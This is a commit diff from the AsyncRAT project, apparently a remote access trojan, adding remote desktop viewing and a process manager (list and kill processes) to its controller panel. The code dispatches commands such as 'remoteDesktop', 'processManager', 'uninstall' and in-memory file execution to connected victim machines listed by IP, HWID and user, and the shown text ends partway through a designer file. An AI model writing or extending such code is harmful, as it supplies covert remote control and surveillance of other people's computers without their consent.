Update
Added remotedesktop + process manager
This commit is contained in:
parent
5a3225eecf
commit
264affa76f
@ -21,6 +21,7 @@
|
|||||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||||
<ErrorReport>prompt</ErrorReport>
|
<ErrorReport>prompt</ErrorReport>
|
||||||
<WarningLevel>4</WarningLevel>
|
<WarningLevel>4</WarningLevel>
|
||||||
|
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
@ -55,6 +56,18 @@
|
|||||||
<Compile Include="Forms\Form1.Designer.cs">
|
<Compile Include="Forms\Form1.Designer.cs">
|
||||||
<DependentUpon>Form1.cs</DependentUpon>
|
<DependentUpon>Form1.cs</DependentUpon>
|
||||||
</Compile>
|
</Compile>
|
||||||
|
<Compile Include="Forms\ProcessManager.cs">
|
||||||
|
<SubType>Form</SubType>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="Forms\ProcessManager.Designer.cs">
|
||||||
|
<DependentUpon>ProcessManager.cs</DependentUpon>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="Forms\RemoteDesktop.cs">
|
||||||
|
<SubType>Form</SubType>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="Forms\RemoteDesktop.Designer.cs">
|
||||||
|
<DependentUpon>RemoteDesktop.cs</DependentUpon>
|
||||||
|
</Compile>
|
||||||
<Compile Include="Handle Packet\HandlePacket.cs" />
|
<Compile Include="Handle Packet\HandlePacket.cs" />
|
||||||
<Compile Include="Helper.cs" />
|
<Compile Include="Helper.cs" />
|
||||||
<Compile Include="MessagePack\BytesTools.cs" />
|
<Compile Include="MessagePack\BytesTools.cs" />
|
||||||
@ -73,9 +86,45 @@
|
|||||||
<Compile Include="Settings.cs" />
|
<Compile Include="Settings.cs" />
|
||||||
<Compile Include="Socket\Clients.cs" />
|
<Compile Include="Socket\Clients.cs" />
|
||||||
<Compile Include="Socket\Listener.cs" />
|
<Compile Include="Socket\Listener.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Codecs\DirectDriverCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Codecs\MJPGCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Codecs\QuickCachedStreamCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Codecs\QuickStreamCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Codecs\SmallCachedStreamCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Codecs\SmallStreamCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Encoders\GridCoder\GridBlock.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Encoders\GridCoder\GridEncoder.cs" />
|
||||||
|
<Compile Include="StreamLibrary\Enums.cs" />
|
||||||
|
<Compile Include="StreamLibrary\IEncoder.cs" />
|
||||||
|
<Compile Include="StreamLibrary\IUnsafeCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\IVideoCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\CRC32.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\ExtensionAttribute.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\Extentions.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\FastBitmap.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\JpgCompression.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\LzwCompression.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\MurmurHash2Unsafe.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\NativeMethods.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\PayloadWriter.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\PointerHelper.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\SafeQuickLZ.cs" />
|
||||||
|
<Compile Include="StreamLibrary\src\SimpleBitmap.cs" />
|
||||||
|
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCacheCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeCachedStreamCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeMiniCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeOptimizedCodec.cs" />
|
||||||
|
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeQuickStream.cs" />
|
||||||
|
<Compile Include="StreamLibrary\UnsafeCodecs\UnsafeStreamCodec.cs" />
|
||||||
<EmbeddedResource Include="Forms\Form1.resx">
|
<EmbeddedResource Include="Forms\Form1.resx">
|
||||||
<DependentUpon>Form1.cs</DependentUpon>
|
<DependentUpon>Form1.cs</DependentUpon>
|
||||||
</EmbeddedResource>
|
</EmbeddedResource>
|
||||||
|
<EmbeddedResource Include="Forms\ProcessManager.resx">
|
||||||
|
<DependentUpon>ProcessManager.cs</DependentUpon>
|
||||||
|
</EmbeddedResource>
|
||||||
|
<EmbeddedResource Include="Forms\RemoteDesktop.resx">
|
||||||
|
<DependentUpon>RemoteDesktop.cs</DependentUpon>
|
||||||
|
</EmbeddedResource>
|
||||||
<EmbeddedResource Include="Properties\Resources.resx">
|
<EmbeddedResource Include="Properties\Resources.resx">
|
||||||
<Generator>ResXFileCodeGenerator</Generator>
|
<Generator>ResXFileCodeGenerator</Generator>
|
||||||
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
||||||
@ -108,5 +157,6 @@
|
|||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Content Include="async_icon.ico" />
|
<Content Include="async_icon.ico" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
<ItemGroup />
|
||||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
</Project>
|
</Project>
|
||||||
34
AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
generated
34
AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
generated
@ -32,6 +32,7 @@
|
|||||||
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
|
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Form1));
|
||||||
this.listView1 = new System.Windows.Forms.ListView();
|
this.listView1 = new System.Windows.Forms.ListView();
|
||||||
this.lv_ip = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
this.lv_ip = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||||
|
this.lv_hwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||||
this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||||
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||||
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
|
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
|
||||||
@ -43,11 +44,12 @@
|
|||||||
this.sENDMESSAGEBOXToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.sENDMESSAGEBOXToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.sENDFILEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.sENDFILEToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.sENDFILETOMEMORYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.sENDFILETOMEMORYToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.rEMOTEDESKTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
|
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
|
||||||
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
|
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||||
this.ping = new System.Windows.Forms.Timer(this.components);
|
this.ping = new System.Windows.Forms.Timer(this.components);
|
||||||
this.UpdateUI = new System.Windows.Forms.Timer(this.components);
|
this.UpdateUI = new System.Windows.Forms.Timer(this.components);
|
||||||
this.lv_hwid = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
this.pROCESSMANAGERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.contextMenuStrip1.SuspendLayout();
|
this.contextMenuStrip1.SuspendLayout();
|
||||||
this.statusStrip1.SuspendLayout();
|
this.statusStrip1.SuspendLayout();
|
||||||
this.SuspendLayout();
|
this.SuspendLayout();
|
||||||
@ -78,6 +80,11 @@
|
|||||||
this.lv_ip.Text = "IP";
|
this.lv_ip.Text = "IP";
|
||||||
this.lv_ip.Width = 150;
|
this.lv_ip.Width = 150;
|
||||||
//
|
//
|
||||||
|
// lv_hwid
|
||||||
|
//
|
||||||
|
this.lv_hwid.Text = "HWID";
|
||||||
|
this.lv_hwid.Width = 150;
|
||||||
|
//
|
||||||
// lv_user
|
// lv_user
|
||||||
//
|
//
|
||||||
this.lv_user.Text = "USER";
|
this.lv_user.Text = "USER";
|
||||||
@ -96,9 +103,11 @@
|
|||||||
this.toolStripSeparator1,
|
this.toolStripSeparator1,
|
||||||
this.sENDMESSAGEBOXToolStripMenuItem,
|
this.sENDMESSAGEBOXToolStripMenuItem,
|
||||||
this.sENDFILEToolStripMenuItem,
|
this.sENDFILEToolStripMenuItem,
|
||||||
this.sENDFILETOMEMORYToolStripMenuItem});
|
this.sENDFILETOMEMORYToolStripMenuItem,
|
||||||
|
this.rEMOTEDESKTOPToolStripMenuItem,
|
||||||
|
this.pROCESSMANAGERToolStripMenuItem});
|
||||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||||
this.contextMenuStrip1.Size = new System.Drawing.Size(275, 130);
|
this.contextMenuStrip1.Size = new System.Drawing.Size(275, 223);
|
||||||
//
|
//
|
||||||
// cLIENTOPTIONSToolStripMenuItem
|
// cLIENTOPTIONSToolStripMenuItem
|
||||||
//
|
//
|
||||||
@ -157,6 +166,13 @@
|
|||||||
this.sENDFILETOMEMORYToolStripMenuItem.Text = "SEND FILE TO MEMORY";
|
this.sENDFILETOMEMORYToolStripMenuItem.Text = "SEND FILE TO MEMORY";
|
||||||
this.sENDFILETOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.sENDFILETOMEMORYToolStripMenuItem_Click);
|
this.sENDFILETOMEMORYToolStripMenuItem.Click += new System.EventHandler(this.sENDFILETOMEMORYToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
|
// rEMOTEDESKTOPToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.rEMOTEDESKTOPToolStripMenuItem.Name = "rEMOTEDESKTOPToolStripMenuItem";
|
||||||
|
this.rEMOTEDESKTOPToolStripMenuItem.Size = new System.Drawing.Size(274, 30);
|
||||||
|
this.rEMOTEDESKTOPToolStripMenuItem.Text = "REMOTE DESKTOP";
|
||||||
|
this.rEMOTEDESKTOPToolStripMenuItem.Click += new System.EventHandler(this.rEMOTEDESKTOPToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
// statusStrip1
|
// statusStrip1
|
||||||
//
|
//
|
||||||
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
|
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
|
||||||
@ -186,10 +202,12 @@
|
|||||||
this.UpdateUI.Interval = 1000;
|
this.UpdateUI.Interval = 1000;
|
||||||
this.UpdateUI.Tick += new System.EventHandler(this.UpdateUI_Tick);
|
this.UpdateUI.Tick += new System.EventHandler(this.UpdateUI_Tick);
|
||||||
//
|
//
|
||||||
// lv_hwid
|
// pROCESSMANAGERToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.lv_hwid.Text = "HWID";
|
this.pROCESSMANAGERToolStripMenuItem.Name = "pROCESSMANAGERToolStripMenuItem";
|
||||||
this.lv_hwid.Width = 150;
|
this.pROCESSMANAGERToolStripMenuItem.Size = new System.Drawing.Size(274, 30);
|
||||||
|
this.pROCESSMANAGERToolStripMenuItem.Text = "PROCESS MANAGER";
|
||||||
|
this.pROCESSMANAGERToolStripMenuItem.Click += new System.EventHandler(this.pROCESSMANAGERToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
// Form1
|
// Form1
|
||||||
//
|
//
|
||||||
@ -231,7 +249,9 @@
|
|||||||
private System.Windows.Forms.ToolStripMenuItem sENDMESSAGEBOXToolStripMenuItem;
|
private System.Windows.Forms.ToolStripMenuItem sENDMESSAGEBOXToolStripMenuItem;
|
||||||
private System.Windows.Forms.ToolStripMenuItem sENDFILEToolStripMenuItem;
|
private System.Windows.Forms.ToolStripMenuItem sENDFILEToolStripMenuItem;
|
||||||
private System.Windows.Forms.ToolStripMenuItem sENDFILETOMEMORYToolStripMenuItem;
|
private System.Windows.Forms.ToolStripMenuItem sENDFILETOMEMORYToolStripMenuItem;
|
||||||
private System.Windows.Forms.ColumnHeader lv_hwid;
|
private System.Windows.Forms.ToolStripMenuItem rEMOTEDESKTOPToolStripMenuItem;
|
||||||
|
public System.Windows.Forms.ColumnHeader lv_hwid;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem pROCESSMANAGERToolStripMenuItem;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@ -8,6 +8,7 @@ using System.Linq;
|
|||||||
using System.Threading;
|
using System.Threading;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
|
using AsyncRAT_Sharp.Forms;
|
||||||
|
|
||||||
// │ Author : NYAN CAT
|
// │ Author : NYAN CAT
|
||||||
// │ Name : AsyncRAT // Simple Socket
|
// │ Name : AsyncRAT // Simple Socket
|
||||||
@ -66,7 +67,7 @@ namespace AsyncRAT_Sharp
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
private void ping_Tick(object sender, EventArgs e)
|
private async void ping_Tick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (Settings.Online.Count > 0)
|
if (Settings.Online.Count > 0)
|
||||||
{
|
{
|
||||||
@ -75,7 +76,7 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
msgpack.ForcePathObject("Message").AsString = "This is a ping!";
|
||||||
foreach (Clients CL in Settings.Online.ToList())
|
foreach (Clients CL in Settings.Online.ToList())
|
||||||
{
|
{
|
||||||
Task.Run(() =>
|
await Task.Run(() =>
|
||||||
{
|
{
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
});
|
});
|
||||||
@ -89,7 +90,7 @@ namespace AsyncRAT_Sharp
|
|||||||
toolStripStatusLabel1.Text = string.Format("Online {0} Sent {1} Received {2}", Settings.Online.Count.ToString(), Helper.BytesToString(Settings.Sent).ToString(), Helper.BytesToString(Settings.Received).ToString());
|
toolStripStatusLabel1.Text = string.Format("Online {0} Sent {1} Received {2}", Settings.Online.Count.ToString(), Helper.BytesToString(Settings.Sent).ToString(), Helper.BytesToString(Settings.Received).ToString());
|
||||||
}
|
}
|
||||||
|
|
||||||
private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
|
private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
@ -97,7 +98,7 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "close";
|
msgpack.ForcePathObject("Packet").AsString = "close";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Task.Run(() =>
|
await Task.Run(() =>
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
Clients CL = (Clients)C.Tag;
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
@ -106,7 +107,7 @@ namespace AsyncRAT_Sharp
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
|
private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
@ -120,7 +121,7 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Message").AsString = Msgbox;
|
msgpack.ForcePathObject("Message").AsString = Msgbox;
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Task.Run(() =>
|
await Task.Run(() =>
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
Clients CL = (Clients)C.Tag;
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
@ -162,7 +163,7 @@ namespace AsyncRAT_Sharp
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
|
private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
@ -170,7 +171,7 @@ namespace AsyncRAT_Sharp
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "uninstall";
|
msgpack.ForcePathObject("Packet").AsString = "uninstall";
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Task.Run(() =>
|
await Task.Run(() =>
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
Clients CL = (Clients)C.Tag;
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
@ -211,7 +212,7 @@ namespace AsyncRAT_Sharp
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
|
private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
@ -235,7 +236,7 @@ namespace AsyncRAT_Sharp
|
|||||||
|
|
||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Task.Run(() =>
|
await Task.Run(() =>
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
Clients CL = (Clients)C.Tag;
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
@ -246,5 +247,76 @@ namespace AsyncRAT_Sharp
|
|||||||
SF.Close();
|
SF.Close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
{
|
||||||
|
if (listView1.SelectedItems.Count > 0)
|
||||||
|
{
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||||
|
msgpack.ForcePathObject("Option").AsString = "true";
|
||||||
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
|
{
|
||||||
|
await Task.Run(() =>
|
||||||
|
{
|
||||||
|
Clients CL = (Clients)C.Tag;
|
||||||
|
this.BeginInvoke((MethodInvoker)(() =>
|
||||||
|
{
|
||||||
|
RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID];
|
||||||
|
if (RD == null)
|
||||||
|
{
|
||||||
|
RD = new RemoteDesktop
|
||||||
|
{
|
||||||
|
Name = "RemoteDesktop:" + CL.ID,
|
||||||
|
F = this,
|
||||||
|
Text = "RemoteDesktop:" + CL.ID,
|
||||||
|
C = CL,
|
||||||
|
Active = true
|
||||||
|
};
|
||||||
|
RD.Show();
|
||||||
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
{
|
||||||
|
if (listView1.SelectedItems.Count > 0)
|
||||||
|
{
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "processManager";
|
||||||
|
msgpack.ForcePathObject("Option").AsString = "List";
|
||||||
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
|
{
|
||||||
|
await Task.Run(() =>
|
||||||
|
{
|
||||||
|
Clients CL = (Clients)C.Tag;
|
||||||
|
this.BeginInvoke((MethodInvoker)(() =>
|
||||||
|
{
|
||||||
|
ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID];
|
||||||
|
if (PM == null)
|
||||||
|
{
|
||||||
|
PM = new ProcessManager
|
||||||
|
{
|
||||||
|
Name = "processManager:" + CL.ID,
|
||||||
|
Text = "processManager:" + CL.ID,
|
||||||
|
F = this,
|
||||||
|
C = CL
|
||||||
|
};
|
||||||
|
PM.Show();
|
||||||
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
135
AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs
generated
Normal file
135
AsyncRAT-C#/AsyncRAT-Sharp/Forms/ProcessManager.Designer.cs
generated
Normal file
@ -0,0 +1,135 @@
|
|||||||
|
namespace AsyncRAT_Sharp.Forms
|
||||||
|
{
|
||||||
|
partial class ProcessManager
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Required designer variable.
|
||||||
|
/// </summary>
|
||||||
|
private System.ComponentModel.IContainer components = null;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Clean up any resources being used.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
|
||||||
|
protected override void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (disposing && (components != null))
|
||||||
|
{
|
||||||
|
components.Dispose();
|
||||||
|
}
|
||||||
|
base.Dispose(disposing);
|
||||||
|
}
|
||||||
|
|
||||||
|
#region Windows Form Designer generated code
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Required method for Designer support - do not modify
|
||||||
|
/// the contents of this method with the code editor.
|
||||||
|
/// </summary>
|
||||||
|
private void InitializeComponent()
|
||||||
|
{
|
||||||
|
this.components = new System.ComponentModel.Container();
|
||||||
|
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ProcessManager));
|
||||||
|
this.listView1 = new System.Windows.Forms.ListView();
|
||||||
|
this.lv_name = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||||
|
this.lv_id = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
|
||||||
|
this.imageList1 = new System.Windows.Forms.ImageList(this.components);
|
||||||
|
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||||
|
this.contextMenuStrip1 = new System.Windows.Forms.ContextMenuStrip(this.components);
|
||||||
|
this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.refreshToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.contextMenuStrip1.SuspendLayout();
|
||||||
|
this.SuspendLayout();
|
||||||
|
//
|
||||||
|
// listView1
|
||||||
|
//
|
||||||
|
this.listView1.BorderStyle = System.Windows.Forms.BorderStyle.None;
|
||||||
|
this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
|
||||||
|
this.lv_name,
|
||||||
|
this.lv_id});
|
||||||
|
this.listView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||||
|
this.listView1.Dock = System.Windows.Forms.DockStyle.Fill;
|
||||||
|
this.listView1.FullRowSelect = true;
|
||||||
|
this.listView1.GridLines = true;
|
||||||
|
this.listView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable;
|
||||||
|
this.listView1.Location = new System.Drawing.Point(0, 0);
|
||||||
|
this.listView1.Name = "listView1";
|
||||||
|
this.listView1.ShowGroups = false;
|
||||||
|
this.listView1.ShowItemToolTips = true;
|
||||||
|
this.listView1.Size = new System.Drawing.Size(659, 719);
|
||||||
|
this.listView1.SmallImageList = this.imageList1;
|
||||||
|
this.listView1.Sorting = System.Windows.Forms.SortOrder.Ascending;
|
||||||
|
this.listView1.TabIndex = 0;
|
||||||
|
this.listView1.UseCompatibleStateImageBehavior = false;
|
||||||
|
this.listView1.View = System.Windows.Forms.View.Details;
|
||||||
|
//
|
||||||
|
// lv_name
|
||||||
|
//
|
||||||
|
this.lv_name.Text = "Name";
|
||||||
|
this.lv_name.Width = 350;
|
||||||
|
//
|
||||||
|
// lv_id
|
||||||
|
//
|
||||||
|
this.lv_id.Text = "ID";
|
||||||
|
this.lv_id.Width = 150;
|
||||||
|
//
|
||||||
|
// imageList1
|
||||||
|
//
|
||||||
|
this.imageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth32Bit;
|
||||||
|
this.imageList1.ImageSize = new System.Drawing.Size(32, 32);
|
||||||
|
this.imageList1.TransparentColor = System.Drawing.Color.Transparent;
|
||||||
|
//
|
||||||
|
// timer1
|
||||||
|
//
|
||||||
|
this.timer1.Enabled = true;
|
||||||
|
this.timer1.Interval = 1000;
|
||||||
|
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
|
||||||
|
//
|
||||||
|
// contextMenuStrip1
|
||||||
|
//
|
||||||
|
this.contextMenuStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
|
||||||
|
this.contextMenuStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
|
this.killToolStripMenuItem,
|
||||||
|
this.refreshToolStripMenuItem});
|
||||||
|
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||||
|
this.contextMenuStrip1.Size = new System.Drawing.Size(241, 97);
|
||||||
|
//
|
||||||
|
// killToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.killToolStripMenuItem.Name = "killToolStripMenuItem";
|
||||||
|
this.killToolStripMenuItem.Size = new System.Drawing.Size(240, 30);
|
||||||
|
this.killToolStripMenuItem.Text = "Kill";
|
||||||
|
this.killToolStripMenuItem.Click += new System.EventHandler(this.killToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
|
// refreshToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
|
||||||
|
this.refreshToolStripMenuItem.Size = new System.Drawing.Size(240, 30);
|
||||||
|
this.refreshToolStripMenuItem.Text = "Refresh";
|
||||||
|
this.refreshToolStripMenuItem.Click += new System.EventHandler(this.refreshToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
|
// ProcessManager
|
||||||
|
//
|
||||||
|
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||||
|
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||||
|
this.ClientSize = new System.Drawing.Size(659, 719);
|
||||||
|
this.Controls.Add(this.listView1);
|
||||||
|
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||||
|
this.Name = "ProcessManager";
|
||||||
|
this.Text = "ProcessManager";
|
||||||
|
this.contextMenuStrip1.ResumeLayout(false);
|
||||||
|
this.ResumeLayout(false);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
#endregion
|
||||||
|
private System.Windows.Forms.ColumnHeader lv_name;
|
||||||
|
private System.Windows.Forms.ColumnHeader lv_id;
|
||||||
|
public System.Windows.Forms.ListView listView1;
|
||||||
|
public System.Windows.Forms.ImageList imageList1;
|
||||||
|
private System.Windows.Forms.Timer timer1;
|
||||||
|
private System.Windows.Forms.ContextMenuStrip contextMenuStrip1;
|
